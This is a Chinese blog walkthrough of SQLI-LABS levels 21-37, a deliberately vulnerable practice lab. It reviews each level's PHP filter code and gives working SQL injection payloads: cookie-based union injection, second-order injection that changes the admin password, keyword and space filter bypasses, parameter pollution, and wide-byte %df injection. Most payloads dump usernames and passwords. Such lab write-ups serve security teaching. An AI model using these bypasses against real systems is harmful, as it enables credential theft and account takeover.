SQLI-LABS (Adv Injections) 21-37关
John_Frod Lv4

SQLI-LABS (Adv Injections) 21-37关

Less-21

  • 查看源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
if cookie 中不存在 uname 参数:
输出了一堆无用的信息
if 提交了 uname 和 passwd:
# 进行过滤
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);

$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
if 有查询结果:
# 将 uname 的值设置给 cookie 里面的 uname 参数
setcookie('uname', base64_encode($row1['username']), time()+3600);
else:
print_r(mysql_error());

else:
if POST 数据里面没有 submit 参数:
# 对 cookee 进行 base64 解密
$cookee = base64_decode($cookee);

# 直接将 cookee 通过单引号拼接到 SQL 语句中
$sql="SELECT * FROM users WHERE username=('$cookee') LIMIT 0,1";
if 查询无结果:
输出 mysql_error()
if 有结果:
输出查询的信息
else:
# 将 uname 的值设置给 cookie 里面的 uname 参数
setcookie('uname', base64_encode($row1['username']), time()-3600);
?>

通过源码看出,后端会把传入的cookie中的uname参数进行base64解密,然后再进行查询,所以我们传入的cookie中的uname要尽心base64加密才行。同时注意到,这里的闭合方式为('$uname')

查询语句:

1
uname=sqlsec') union select 1,2,(SELECT GROUP_CONCAT(username,':',password) FROM users)#

我们可以利用hackbar进行base64加密:

1
uname=c3Fsc2VjJykgdW5pb24gc2VsZWN0IDEsMiwoU0VMRUNUIEdST1VQX0NPTkNBVCh1c2VybmFtZSwnOicscGFzc3dvcmQpIEZST00gdXNlcnMpIw==

image-20210304212001660

Less-22

  • 查看源码
1
2
3
$cookee = base64_decode($cookee);
$cookee1 = '"'. $cookee. '"';
$sql="SELECT * FROM users WHERE username=$cookee1 LIMIT 0,1";

可以看出仅仅实在Less-21的基础上把闭合方式改为了"$cookee1",注入方式参考Less-21

Less-23

  • 查看源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
$id=$_GET['id'];

//filter the comments out so as to comments should not work
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
if 有查询结果:
输出查询信息
else:
print_r(mysql_error());

可以看出这里使用正则匹配过滤了#--,导致了我们无法把查询语句中参数$id后面的限制仅输出1个内容给屏蔽掉。这里我们可以构造语句:

1
http://192.168.91.134/sqli-labs/Less-23/?id=-1' union select 1,(select group_concat(username,':',password) from users),'3

image-20210304215528582

解释:

  1. 首先是id的第一个参数为-1,因为 sql 语句执行了两个 select 语句,第一个 select 为 id 的选择语 句,第二个为我们构造的 select 语句。只有一个数据可以输出,为了让我们自己构造的数据 可以正常输出,第一个 select 要没有结果,所以-1 或者超过数据库所有数据都可以。

  2. 最后3前面的'目的是闭合查询语句最后的',使其不会错误

  3. 此处也可以进行报错注入,盲注

1
http://192.168.91.134/sqli-labs/Less-23/?id=-1' union select 1,(select extractvalue(1,concat(0x7e,(select database()),0x7e))),'3

image-20210304215543764

Less-24

  • 查看代码

    • Index.php

    主要记录了表单相关的信息,没有啥敏感代码,当做 Index.html 来看待就可以了。

    输入用户名和密码之后会把数据传输到 login.php 进行验证。点击忘记密码会跳转到forgot_password.php,点击创建新用户会跳转到new_user.php

    • failed.php

    检测会话,如果 cookie 里面没有 Auth 参数的话,就跳转到 index.php

    • forgot_password.php

    简单提示:如果你忘记密码 请 hack it

    • login.php
    1
    2
    3
    4
    5
    6
    7
    8
    $username = mysql_real_escape_string($_POST["login_user"]);
    $password = mysql_real_escape_string($_POST["login_password"]);
    $sql = "SELECT * FROM users WHERE username='$username' and password='$password'";

    if 登陆成功:
    #设置session和cookie
    $_SESSION["username"] = $login;
    setcookie("Auth", 1, time()+3600);

    $username$password两个参数都被过滤掉,无法从这里进行注入。

    • new_user.php

    创建新用户的表单页面,本文件主要存放前段代码。

    • login_create.php
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    # 接受用户提交的用户名和密码值 并进行 mysql 安全函数转义
    $username= mysql_escape_string($_POST['username']) ;
    $pass= mysql_escape_string($_POST['password']);
    $re_pass= mysql_escape_string($_POST['re_password']);

    # 查询当前用户信息
    $sql = "select count(*) from users where username='$username'";
    #如果当前用户已经存在 无法注册

    if 两次输入密码一致:
    # 将记录插入数据库中
    $sql = "insert into users ( username, password) values(\"$username\", \"$pass\")";
    查询完成后 重定向到首页
    else:
    提示两次输入密码不一致
    • pass_change.php
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    if 检测未登录:
    重定向到首页
    if 检测到提交表单:
    # 对 pass 都进行了过滤
    $username= $_SESSION["username"];
    $curr_pass= mysql_real_escape_string($_POST['current_password']);
    $pass= mysql_real_escape_string($_POST['password']);
    $re_pass= mysql_real_escape_string($_POST['re_password']);

    if 两次密码一致:
    # 直接将 username 拼接到 SQL 语句
    $sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
    else:
    提示密码不一致 并重定向到 fail.php
  • 思路分析

这里需要利用到二次注入。看更新密码的地方:

1
UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass'

这里直接使用单引号拼接了 username 所以当 username 可控的话 ,这里是存在SQL注入的,假设用户注册的 username 的值为:admin'#,那么此时的完整语句就为:

1
UPDATE users SET PASSWORD='$pass' where username='admin'# and password='$curr_pass'

相当于#后面的都被屏蔽掉了,直接修改了 admin 的用户密码。

  • 演示步骤

    1. 注册一个名字为admin'#的用户

      image-20210305100428917

    2. 注册好之后登陆该账户,对密码进行修改

    image-20210305100925703

    image-20210305100819324

可以看到此时admin用户的密码被修改为了000

Less-25

  • 查看代码
1
2
3
4
5
6
7
8
9
10
11
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/AND/i',"", $id); //Strip out AND (non case sensitive)

return $id;
}

$id= blacklist($id);

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

可以看出后端把传进去的参数进行了过滤,把orand不区分大小写替换为了空字符。

  • or 和 and 过滤的绕过
    1. 大小写变形 Or,OR,oR
    2. 编码,hex,urlencode
    3. 添加注释/*or*/
    4. 利用符号 and=&& or=||
    5. 双写 oorr,anandd

由于password中含有or,所以要在里面双写

1
http://192.168.91.134/sqli-labs/Less-25/?id=-1' union select 1,(select group_concat(username,':',passwoorrd) from users),3--+

使用报错或者盲注时推荐使用符号

1
?id=1'||extractvalue(1,concat(0x7e,database()))--+

值得一提的是,如果使用&&来代替and,需要对&&进行url编码,否则&后面的内容会被当成第二个参数传递。

Less-25a

这一关就是Less-25的小改,参数类型改为了数字型,并且屏蔽了错误信息显示。因此这里只能使用联合注入和盲注。

Less-26

  • 查看源码
1
2
3
4
5
6
7
8
9
10
11
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --
$id= preg_replace('/[#]/',"", $id); //Strip out #
$id= preg_replace('/[\s]/',"", $id); //Strip out spaces
$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes
return $id;
}

这里过滤规则变多了,把 or,and,/*,#,–,/和空格给过滤掉

  • 绕过方法

    • 之前已经提过and,or和注释符被过滤时候的绕过方法,这里不再赘述
    • 空格被过滤可以使用如下的符号来代替
符号 说明
%09 TAB 键(水平)
%0a 新建一行
%0c 新的一页
%0d return 功能
%0b TAB 键(垂直)
%a0 空格
1
2
http://ea678630a8ac651042f1a6ce703956a2.n2.vsgo.cloud:14562/sqlilabs/Less-26/
?id=100'%0bunion%0bselect%0b1,(select%0bgroup_concat(username,':',passwoorrd)%0bfrom%0busers),3||'1

该方法无法再window上实现,因为有些符号不能被解析,这里借助了在线容器进行测试

https://www.vsplate.com/labs.php

Less-26a

与 Less-26 相比,只是拼接方式改为了('$id'),因为没有输出报错信息,所以不能使用报错注入了。

1
2
http://ea678630a8ac651042f1a6ce703956a2.n2.vsgo.cloud:14562/sqlilabs/Less-26a/
?id=100')%0bunion%0bselect%0b1,(select%0bgroup_concat(username,':',passwoorrd)%0bfrom%0busers),3||('1

Less-27

  • 查看源码
1
2
3
4
5
6
7
8
9
10
11
12
$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union/s',"", $id); //Strip out union
$id= preg_replace('/select/s',"", $id); //Strip out select
$id= preg_replace('/UNION/s',"", $id); //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id); //Strip out SELECT
$id= preg_replace('/Union/s',"", $id); //Strip out Union
$id= preg_replace('/Select/s',"", $id); //Strip out select

这里解释一下正则匹配修饰符的含义:

模式修正符号 功能描述
i 在和正则匹配是不区分大小写
m 将字符串视为多行。(具体作用就是防止双写绕过)
s 如果设定了这个修正符,那么,被匹配的字符串将视为一行来看,包括换行符,换行符将被视为普通字符串。

通过源码我们知道了后端对那些字符进行了过滤,虽然这里对unionselect做了部分过滤,但是任然存在可以绕过的漏洞。

1
2
http://192.168.91.134/sqli-labs/Less-27/
?id=100'unIon%0bSelEcT%0b1,database(),'3

Less-27a

这关在Less-27的基础上,把闭合方式改为"$id",同时屏蔽了错误信息显示,因此无法进行报错注入。

1
2
http://192.168.91.134/sqli-labs/Less-27a/
?id=100"unIon%0bSelEcT%0b1,database(),"3

Less-28

  • 查看源码
1
2
3
4
5
6
$id= preg_replace('/[\/\*]/',"", $id);				//strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id); //Strip out UNION & SELECT.

闭合方式为('$id'),,并且取消了select不能双写的限制,增加了对union select连在一起的时候且不区分大小写的过滤,且屏蔽了错误信息显示。

1
2
http://192.168.91.134/sqli-labs/Less-28/
?id=100')uniunion%0bselecton%0bselect%0b1,database(),('3

Less-28a

本关在less-28的基础上竟然还少了前面的几个限制,只留下了最后一个对union select的过滤

1
2
http://192.168.91.134/sqli-labs/Less-28a/
?id=100') uniunion selecton select 1,database(),('3

Less-29

  • 查看源码

    • index.php

    并没有什么特别的,平平无奇,使用联合注入即可。

    1
    2
    http://192.168.91.134/sqli-labs/Less-29/
    ?id=-1' union select 1,2,(SELECT+GROUP_CONCAT(username,password+SEPARATOR+0x3c62723e)+FROM+users) --+
    • login.php
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    $qs = $_SERVER['QUERY_STRING'];
    $id1=java_implimentation($qs);
    $id=$_GET['id'];
    //echo $id1;
    whitelist($id1);

    function whitelist($input)
    {
    $match = preg_match("/^\d+$/", $input);
    if($match)
    {
    //echo "you are good";
    //return $match;
    }
    else
    {
    header('Location: hacked.php');
    //echo "you are bad";
    }
    }

    function java_implimentation($query_string)
    {
    $q_s = $query_string;
    $qs_array= explode("&",$q_s);
    foreach($qs_array as $key => $value)
    {
    $val=substr($value,0,2);
    if($val=="id")
    {
    $id_value=substr($value,3,30);
    return $id_value;
    echo "<br>";
    break;
    }
    }
    }

    这里面有2个函数,java_implimentation的作用是将传入的参数以&分隔,如果该参数的前两个字符为id,则取它的第三个字符开始的30个字符作为$id_value,并返回$id_value,同时跳出循环。whitelist的作用是检查传入的字符串是否是数字,是的话就直接返回该字符串,否则就跳转到hacked.php。

  • 利用方式

由于java_implimentation函数只要检测到一个id参数就退出检测,那么当我们传入2个名为id的参数时,后面的那一个就能绕过检测,从而可以利用其来进行注入。那么问题是,我们后端使用$id=$_GET['id'];获取到的id参数究竟是第一个还是第二个呢。假设用户输入这样的语句:

1
index.php?id=1&id=2

Apache PHP 会解析最后一个参数

Tomcat JSP 会解析第一个参数

可以看出,我们可以构造第二个id参数来绕过检测。

1
http://192.168.91.134/sqli-labs/Less-29/login.php?id=1&id=-2' union select 1,2,(SELECT+GROUP_CONCAT(username,password+SEPARATOR+0x3c62723e)+FROM+users)--+

Less-30

和Less-29相比,index.php页面的错误信息显示被屏蔽了,闭合方式改为"$id",其他照旧。

1
http://192.168.91.134/sqli-labs/Less-30/login.php?id=1&id=-2" union select 1,2,(SELECT+GROUP_CONCAT(username,password+SEPARATOR+0x3c62723e)+FROM+users)--+

Less-31

和Less-29相比,闭合方式改为("$id"),其他不变。

1
http://192.168.91.134/sqli-labs/Less-31/login.php?id=1&id=-2") union select 1,2,(SELECT+GROUP_CONCAT(username,password+SEPARATOR+0x3c62723e)+FROM+users)--+

Less-32

  • 查看源码
1
2
3
4
5
6
 # \ 转换为 \\
$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);
# 将 ' 转为\'
$string = preg_replace('/\'/i', '\\\'', $string);
# 将 " 转为\"
$string = preg_replace('/\"/', "\\\"", $string);
  • 利用方法

这里使用宽字节注入,在被过滤的符号前面加入%df

1
http://192.168.91.134/sqli-labs/Less-32/?id=-1%df' union select 1,2,(SELECT+GROUP_CONCAT(username,password+SEPARATOR+0x3c62723e)+FROM+users)--+

Less-33

  • 查看源码
1
$string= addslashes($string);

此处过滤使用函数 addslashes() 返回在预定义字符之前添加反斜杠的字符串。

预定义字符是: 单引号(’) 双引号(”) 反斜杠(\)

这里依然可以使用宽字节注入绕过

1
http://192.168.91.134/sqli-labs/Less-33/?id=-1%df' union select 1,2,(SELECT+GROUP_CONCAT(username,password+SEPARATOR+0x3c62723e)+FROM+users)--+

Less-34

  • 查看源码
1
2
$uname = addslashes($uname1);
$passwd= addslashes($passwd1);

和Less-33的过滤方法一样,只不过换成了POST方式提交数据,而POST方式无法直接使用%df来进行注入,需要用Burp Suite进行抓包改包。

image-20210305173404414

在图中的%27前面加上%df即可。

  • 这里还有另一种思路

将 utf-8 转换为 utf-16 或 utf-32,例如将 ‘ 转为 utf-16 为 � ‘ 。我们就 可以利用这个方式进行尝试。

可以使用 Linux 自带的 iconv 命令进行 UTF 的编码转换:

1
2
3
4
➜  ~ echo \'|iconv -f utf-8 -t utf-16
��'
➜ ~ echo \'|iconv -f utf-8 -t utf-32
��'

尝试一个经典的万能密码:

1
uname=�' or 1#&passwd=

image-20210305175129233

Less-35

这一关的参数的数据类型为数字型,也就是说无需'来闭合参数,但是这里的过滤措施和Less-33完全一致,相当与无用功。。直接进行联合注入即可。

1
http://192.168.91.134/sqli-labs/Less-35/?id=-1 union select 1,2,(SELECT+GROUP_CONCAT(username,password+SEPARATOR+0x3c62723e)+FROM+users)--+

Less-36

  • 查看源码
1
$string= mysql_real_escape_string($string)

这里使用了**mysql_real_escape_string()**函数进行转义,如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。下列字符受影响:

(\x00) (\n) (\r) (‘) (“) (\x1a)

这里仍然可以使用宽字节注入:

1
http://192.168.91.134/sqli-labs/Less-36/?id=-1%df' union select 1,2,(SELECT+GROUP_CONCAT(username,password+SEPARATOR+0x3c62723e)+FROM+users)--+

Less-37

本关与 34 关是大致相似的,区别在于处理 post 内容用的是 mysql_real_escape_string() 函数,而不是 **addslashes()**函数,但是原理是一样的。都是通过截包改包的方法进行注入。或者使用将 utf-8 转换为 utf-16 或 utf-32的方法直接在hackbar进行POST请求。

参考资料

  • Post title:SQLI-LABS (Adv Injections) 21-37关
  • Post author:John_Frod
  • Create time:2021-03-07 18:59:13
  • Post link:https://keep.xpoet.cn/2021/03/07/SQLI-LABS (Adv Injections) 21-37关/
  • Copyright Notice:All articles in this blog are licensed under BY-NC-SA unless stating additionally.